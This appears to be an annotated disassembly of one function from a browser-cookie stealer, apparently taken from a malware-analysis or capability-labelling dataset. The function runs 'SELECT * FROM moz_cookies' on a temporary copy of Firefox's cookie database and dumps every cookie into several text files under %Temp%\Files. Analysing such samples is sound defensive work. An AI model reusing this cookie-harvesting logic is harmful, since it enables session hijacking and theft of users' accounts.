Function at 0x409390
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4bfd88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xa98
push ebx
push esi
push edi
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x44]
call fcn.00405bc0
add esp, 4
push str._Files_AllCookies_list.txt
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4093e7
mov eax, dword [eax]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x690]
push 0x208
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x409436
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40942c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409dcd
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x40948b
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409481
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409dcd
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x44]
call fcn.00405bc0
add esp, 4
push str._files_cookies.txt
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4094c1
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x898]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x40950a
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409500
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409dd2
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x40955f
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409555
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409dd2
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x44]
call fcn.00405bc0
add esp, 4
push str.c5jmN.tmp
mov edx, eax
mov dword [ebp - 4], 2
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x409595
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0xaa0]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4095de
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4095d4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409dd7
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x409633
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409629
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409dd7
push edx
push ecx
call fcn.004a24e6
add esp, 8
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xaa0]
push eax
call fcn.0049d450
add esp, 8
test eax, eax
jne 0x409dbc
mov ebx, dword [ebp - 0x2c]
mov edx, str.SELECT__FROM_moz_cookies
push eax
lea eax, [ebp - 0x10]
mov ecx, ebx
push eax
push 0
push 1
push 0xffffffffffffffff
call fcn.00477e90
add esp, 0x14
test eax, eax
jne 0x409db3
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x44]
call fcn.00405bc0
add esp, 4
push str._Files_Cookiesmozilla_firefox.txt
mov edx, eax
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x28]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x4096a9
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x280]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x4096f2
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4096e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409ddc
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 7
mov word [ebp - 0x28], ax
cmp edx, 8
jb 0x409747
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40973d
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409ddc
push edx
push ecx
call fcn.004a24e6
add esp, 8
push 0x4dc690
mov edx, str._Temp__
lea ecx, [ebp - 0x74]
call fcn.00405bc0
add esp, 4
push str._files_cookiesmozilla_firefox.txt
mov edx, eax
mov dword [ebp - 4], 4
lea ecx, [ebp - 0x5c]
call fcn.00405d20
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x40977d
mov eax, dword [eax]
push 0x208
lea ecx, [ebp - 0x488]
push ecx
push eax
call esi
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x4097c6
mov ecx, dword [ebp - 0x5c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4097bc
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409de1
push edx
push ecx
call fcn.004a24e6
add esp, 8
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x60]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 7
mov word [ebp - 0x5c], ax
cmp edx, 8
jb 0x40981b
mov ecx, dword [ebp - 0x74]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x409811
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409de1
push edx
push ecx
call fcn.004a24e6
add esp, 8
push dword [ebp - 0x10]
xor eax, eax
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
mov word [ebp - 0x74], ax
call fcn.00442640
add esp, 4
cmp eax, 0x64
jne 0x409da8
push 5
push dword [ebp - 0x10]
call fcn.00443000
add esp, 8
mov ecx, 0x4cede8
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x409875
test dl, dl
je 0x409871
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x409875
add eax, 2
add ecx, 2
test dl, dl
jne 0x409855
xor eax, eax
jmp 0x40987a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x409af3
push 3
push dword [ebp - 0x10]
call fcn.00443000
mov edi, eax
add esp, 8
mov edx, 0x4c7b7c
mov ecx, edi
mov bl, byte [ecx]
cmp bl, byte [edx]
jne 0x4098b8
test bl, bl
je 0x4098b4
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4098b8
add ecx, 2
add edx, 2
test al, al
jne 0x409898
xor eax, eax
jmp 0x4098bd
sbb eax, eax
or eax, 1
test eax, eax
je 0x409d91
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4099ef
push 4
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1830365600_t
push esi
call fcn.00401120
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4cee08
push esi
call fcn.00401120
add esp, 0x1c
push edi
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x488]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x4099ef
push 4
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1630345132_t
push esi
call fcn.00401120
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4cee08
push esi
call fcn.00401120
add esp, 0x1c
push edi
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x690]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x409d91
push 4
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1830365600_t
push esi
call fcn.00401120
push 2
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4cee08
push esi
call fcn.00401120
add esp, 0x1c
push edi
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x898]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x409d91
push 4
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1630345132_t
push esi
call fcn.00401120
push 2
jmp 0x409d62
push 4
push dword [ebp - 0x10]
call fcn.00443000
mov edi, eax
add esp, 8
mov edx, 0x4c7b7c
mov ecx, edi
nop dword [eax]
mov bl, byte [ecx]
cmp bl, byte [edx]
jne 0x409b30
test bl, bl
je 0x409b2c
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x409b30
add ecx, 2
add edx, 2
test al, al
jne 0x409b10
xor eax, eax
jmp 0x409b35
sbb eax, eax
or eax, 1
test eax, eax
je 0x409d91
lea eax, [ebp - 0x280]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x409c67
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 6
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1830365600_t
push esi
call fcn.00401120
push 3
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4cee08
push esi
call fcn.00401120
add esp, 0x1c
push edi
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x488]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x409c67
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 6
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1630345132_t
push esi
call fcn.00401120
push 3
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4cee08
push esi
call fcn.00401120
add esp, 0x1c
push edi
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x690]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x409d91
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 6
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1830365600_t
push esi
call fcn.00401120
push 3
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4cee08
push esi
call fcn.00401120
add esp, 0x1c
push edi
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
lea eax, [ebp - 0x898]
push 0x4c7018
push eax
call fcn.004a9b59
mov esi, eax
add esp, 8
test esi, esi
je 0x409d91
push 5
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x14
push str._tTRUE_t
push esi
call fcn.00401120
push 6
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4c79e0
push esi
call fcn.00401120
add esp, 0x1c
push str._tFALSE_t1630345132_t
push esi
call fcn.00401120
push 3
push dword [ebp - 0x10]
call fcn.00443000
push eax
push 0x4cee08
push esi
call fcn.00401120
add esp, 0x1c
push edi
push 0x4c7b6c
push esi
call fcn.00401120
add esp, 0xc
push esi
call fcn.004a5e1b
add esp, 4
push dword [ebp - 0x10]
call fcn.00442640
add esp, 4
cmp eax, 0x64
je 0x409843
mov ebx, dword [ebp - 0x2c]
push dword [ebp - 0x10]
call fcn.00441810
add esp, 4
xor edx, edx
mov ecx, ebx
call fcn.0049acf0
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
call fcn.004a9d47
int3